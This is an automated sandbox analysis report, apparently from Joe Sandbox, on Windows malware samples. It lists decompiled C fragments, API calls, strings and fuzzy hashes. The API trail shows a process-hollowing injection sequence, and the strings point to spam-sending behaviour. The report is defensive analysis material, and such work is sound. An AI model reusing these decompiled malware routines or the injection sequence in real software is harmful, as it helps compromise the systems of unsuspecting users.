			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00424B91, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424BAE

Part of subcall function 00424680: __crt_wait_module_handle.LIBCMTD ref: 004246CC

__initptd.LIBCMTD ref: 00424BC2

Part of subcall function 004249F0: __crt_wait_module_handle.LIBCMTD ref: 00424A27
Part of subcall function 004249F0: ___addlocaleref.LIBCMTD ref: 00424B10

Strings

@XC, xrefs: 00424BF6, 00424BF9

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __crt_wait_module_handle$___addlocaleref__encode_pointer__initptd
String ID: @XC
API String ID: 3882771057-309105572
Opcode ID: 9bfe30e7d4fe488743bcf5207e03a6cbd79403f83adc755ada35465df7a050a9
Instruction ID: a0f2d2fb130c41890cc83004c05c03d185b3156aed2b47c595fc42085fa7f5ed
Opcode Fuzzy Hash: 9bfe30e7d4fe488743bcf5207e03a6cbd79403f83adc755ada35465df7a050a9
Instruction Fuzzy Hash: 6B01D6B9E00204ABCB00DFE4FC85B9E7F74EB88314F104299F904A7391DA35E680CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: FA5C.exe PID: 796 Parent PID: 3424 FA5C.exeCOMMON

Executed Functions

Function 04F3F6A0, Relevance: 1.6, APIs: 1, Instructions: 61
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 04F3F723

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f126e6e5596aa72698a08787e8d2b487b6e83f443045a3eb2b7f6bd3fdddb9a0
Instruction ID: 10f8f91a3ef4705c1b8ba64b416d31730074762398bc35fd1d82f6ea04d90532
Opcode Fuzzy Hash: f126e6e5596aa72698a08787e8d2b487b6e83f443045a3eb2b7f6bd3fdddb9a0
Instruction Fuzzy Hash: 1F2104B5D002099FCF10CFAAD884ADEFBF5FF48314F10842AE919A7210CB75A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F3F5C0, Relevance: 1.6, APIs: 1, Instructions: 50
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL(?,?), ref: 04F3F625

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 981e7d4b3dae5a1561ffa06b2764900bd9669f1aba4605e349a23d3290515fd2
Instruction ID: 0ae9a3340baa1540b653538d274bf48b02ca101656695ca4a36d3ba7a843ae8b
Opcode Fuzzy Hash: 981e7d4b3dae5a1561ffa06b2764900bd9669f1aba4605e349a23d3290515fd2
Instruction Fuzzy Hash: 19112871D006098FCB10DFAAD844BDFFBF5EB88324F24841AD515A7250CB79A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0285DE18, Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b5ac1f64bc6069f417796af70a32b9f7a50a5464865e5f46df18e155ff57cc
Instruction ID: 87867d2117f1eb9e3771a359cec3e5cf118eeba1cbbee73ecf6659c990c7e98d
Opcode Fuzzy Hash: 62b5ac1f64bc6069f417796af70a32b9f7a50a5464865e5f46df18e155ff57cc
Instruction Fuzzy Hash: 5EF1AD3CB00229DFDB1A5B658C5877EBAB6AF88755F148429EC0ADB394CB34CD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0285B490, Relevance: 5.4, Strings: 4, Instructions: 424
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{Hek^, xrefs: 0285B707
+\, xrefs: 0285B51B
kHek^, xrefs: 0285B782
[Hek^, xrefs: 0285B7FD

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID: +\$[Hek^$kHek^${Hek^
API String ID: 0-3215798607
Opcode ID: 92f1dff8e20222d46f9bacf149cf250da6581f9da3009f0b15e737121d37cd22
Instruction ID: 7503a00ea810d0d8ee73395ff7647bf3a55d3fab535085310ffaaebfd08be8e2
Opcode Fuzzy Hash: 92f1dff8e20222d46f9bacf149cf250da6581f9da3009f0b15e737121d37cd22
Instruction Fuzzy Hash: 4EF1BE7CB0461A8BDB15DB69C450AAE77E2EFC474CB148829D80ADF399EF30DC058B95

Uniqueness

Uniqueness Score: -1.00%

Function 04F3D748, Relevance: 1.6, APIs: 1, Instructions: 145
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,0000000A,?,?,?,?,?,?,?), ref: 04F3D8B6

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: e172a2e2abe0915ee1df56429c118cd60541620c1aa0085407a9b475c388799d
Instruction ID: 2544cc579bc54b1f87cc2b8b58336f7aad65d3ae988878fd97f3e45cfc13cb06
Opcode Fuzzy Hash: e172a2e2abe0915ee1df56429c118cd60541620c1aa0085407a9b475c388799d
Instruction Fuzzy Hash: CF512571D01229DFDB24CF99C940BDEBBB5BF48304F0585AAE909B7250DB35AA85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 027D8330, Relevance: 1.6, APIs: 1, Instructions: 96
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 027D841F

Memory Dump Source

Source File: 00000015.00000002.830697618.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_27d0000_FA5C.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f25ded60df47da015d4555f45c75500f3b4768fe2af46b9bf1133d78aa9e4a5f
Instruction ID: 4d2fedefefa430945eb792818d15c30c0e1e6a5884e4fd4a2127899c5f440169
Opcode Fuzzy Hash: f25ded60df47da015d4555f45c75500f3b4768fe2af46b9bf1133d78aa9e4a5f
Instruction Fuzzy Hash: 174119B1E006589FDB10CFA9D9857DEBBF1EB48714F14812AE819A7340DB74A846CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0285C638, Relevance: 1.6, Strings: 1, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 0285C8DF

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 9f2437cceac1d5b6487de1e7783f9085006f8139327a1c0ef70d43974da98719
Instruction ID: 1c56a3aba1d9bd10440cce986e7c1f76c5e02ae0ca287d1e22d4af62a686311a
Opcode Fuzzy Hash: 9f2437cceac1d5b6487de1e7783f9085006f8139327a1c0ef70d43974da98719
Instruction Fuzzy Hash: 84D14C39600B168FCB10CF19C480A6ABBF2FF8431475AC95AD9599B662DB30F959CF80

Uniqueness

Uniqueness Score: -1.00%

Function 027D8618, Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 027D868C

Memory Dump Source

Source File: 00000015.00000002.830697618.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_27d0000_FA5C.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 505c9a8145fa03ab9c7b1bb443fb2b286291fb64b4f0d3344f976c2eead6dcca
Instruction ID: c52fdc08610e4ff5b3898d9419bc294571e755a6a646bb4912c1e9f373338621
Opcode Fuzzy Hash: 505c9a8145fa03ab9c7b1bb443fb2b286291fb64b4f0d3344f976c2eead6dcca
Instruction Fuzzy Hash: 2211F771D006099FCB10DFAAD944BDFFBF4EF48224F15842AD519A7250CB749945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F3F7A0, Relevance: 1.6, APIs: 1, Instructions: 56
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04F3F80E

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ef8e750ff043fb8b21237b4c591efecd397433d0b62f17fe8c436cc8f4b4a5a5
Instruction ID: 007f32e8bcdf7776ea009592a1ee7943a4fb938d72ea5acf5c879e1127464b34
Opcode Fuzzy Hash: ef8e750ff043fb8b21237b4c591efecd397433d0b62f17fe8c436cc8f4b4a5a5
Instruction Fuzzy Hash: BD115972D002099FCB10CFAAD844BEFBBF5EF48324F148429E515A7250CB39A945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F3F950, Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04F3F9B5

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ad988d2b6f37a85e7b65fcb9c79a90329b363c29b6c1b219ebd238fc3744a023
Instruction ID: 71ce09e8661ea93d0f018ae132370b561ffd1b1a9a2fb8455517f5ed30997eea
Opcode Fuzzy Hash: ad988d2b6f37a85e7b65fcb9c79a90329b363c29b6c1b219ebd238fc3744a023
Instruction Fuzzy Hash: BD115B72D006098FCB10CFAAD8447EFBBF5EF88328F15842AD555A7340CB38A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04F3FB90, Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 04F3FBF2

Memory Dump Source

Source File: 00000015.00000002.834849636.0000000004F30000.00000040.00000001.sdmp, Offset: 04F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4f30000_FA5C.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 46672101ae190c232a50ba54bb6966accc85af7500f4f14d6fbd54dd75776f61
Instruction ID: 0903f93cc0aa22b6bf356e93d9c4c682323400987f3adca8d526b1e62737eda8
Opcode Fuzzy Hash: 46672101ae190c232a50ba54bb6966accc85af7500f4f14d6fbd54dd75776f61
Instruction Fuzzy Hash: 151136B1D007498FCB10DFAAD9447EFFBF4EB88224F24841AD519A7240CB78A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 028577D0, Relevance: 1.5, Strings: 1, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 02857A31

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: b7b5edece8e77cf0c6f158c87f3cd2b722386f358285b95bb706bafc4ec21d9d
Instruction ID: 55ab12d0a200404ac45164a92f8021b3e55bae0e537a4f688dce79b5c1fa3350
Opcode Fuzzy Hash: b7b5edece8e77cf0c6f158c87f3cd2b722386f358285b95bb706bafc4ec21d9d
Instruction Fuzzy Hash: A7C16B39600A12CFCB15CF18C48096AF7F2FF88314B56CA59E95A8B7A1DB30F955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0285B481, Relevance: 1.4, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+\, xrefs: 0285B51B

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID: +\
API String ID: 0-4036785194
Opcode ID: ed47e8328a23844bcde9a44849b3391c2bb1a4bca64f67471e91a0994429a6a1
Instruction ID: 8a83cb4be8b09e941d6f48d1278bd0fe0d7045230b94c00613bf4b21783f28f3
Opcode Fuzzy Hash: ed47e8328a23844bcde9a44849b3391c2bb1a4bca64f67471e91a0994429a6a1
Instruction Fuzzy Hash: 6D416F38B006159FDB15DF69D490A9EB7B2EF84708B14882DE94AEB394DF30EC45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 027D90B8, Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 027D9123

Memory Dump Source

Source File: 00000015.00000002.830697618.00000000027D0000.00000040.00000001.sdmp, Offset: 027D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_27d0000_FA5C.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e5911cc801dcbeef8f385fcd6fb69e5015bb354de1baee69d5c8656941aad71
Instruction ID: e21fc6147e5c7392bc3382f8f8713115be76207cc63029ff4e4e22db771cfcf5
Opcode Fuzzy Hash: 4e5911cc801dcbeef8f385fcd6fb69e5015bb354de1baee69d5c8656941aad71
Instruction Fuzzy Hash: C7113771900209CFCB10DFAAD844BDFFBF5EB48324F148419E515A7210CB75A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 028566B8, Relevance: .5, Instructions: 496COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42032a625390f4037721d43a4d49f147bac71f5d25684c079b53dc42fca797d
Instruction ID: 8551004563252eb83ba4912b2cfc914ac01e977e6401c4254e3ff81bdb2be6a2
Opcode Fuzzy Hash: a42032a625390f4037721d43a4d49f147bac71f5d25684c079b53dc42fca797d
Instruction Fuzzy Hash: 4B123B387006158FCB14DF29C494A6ABBF6FF89305B6584A9E946CB372EB30EC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0285D3C8, Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156ad746a7e05ec12333adf39fa3edacb38e278bd42814cc633f5c37834e5d80
Instruction ID: fb368e1576f1abf24a99a8f6e04ad4f42d22f7ef9dcd76d8ec3f774ab6637e9d
Opcode Fuzzy Hash: 156ad746a7e05ec12333adf39fa3edacb38e278bd42814cc633f5c37834e5d80
Instruction Fuzzy Hash: 24D1697CB05225DFDB268B64C444B2AB7E2AF84709F158569DD0ADB395DB30EC82CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0285EB38, Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2850000_FA5C.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d01d207ca428a2bf3dae8bd03eae0e278a163b252eeca9c11882c60041f9cb
Instruction ID: c7498c0c8d0e07b2290bd907cbbea5341f60fb6f04c6eea528a3091f72ae2798
Opcode Fuzzy Hash: c9d01d207ca428a2bf3dae8bd03eae0e278a163b252eeca9c11882c60041f9cb
Instruction Fuzzy Hash: BBB18C3C7147198FDB25CF29C94462AB7E2AF84209B14486DD98BDB390DB34EE45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0285D8B0, Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.830926818.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false

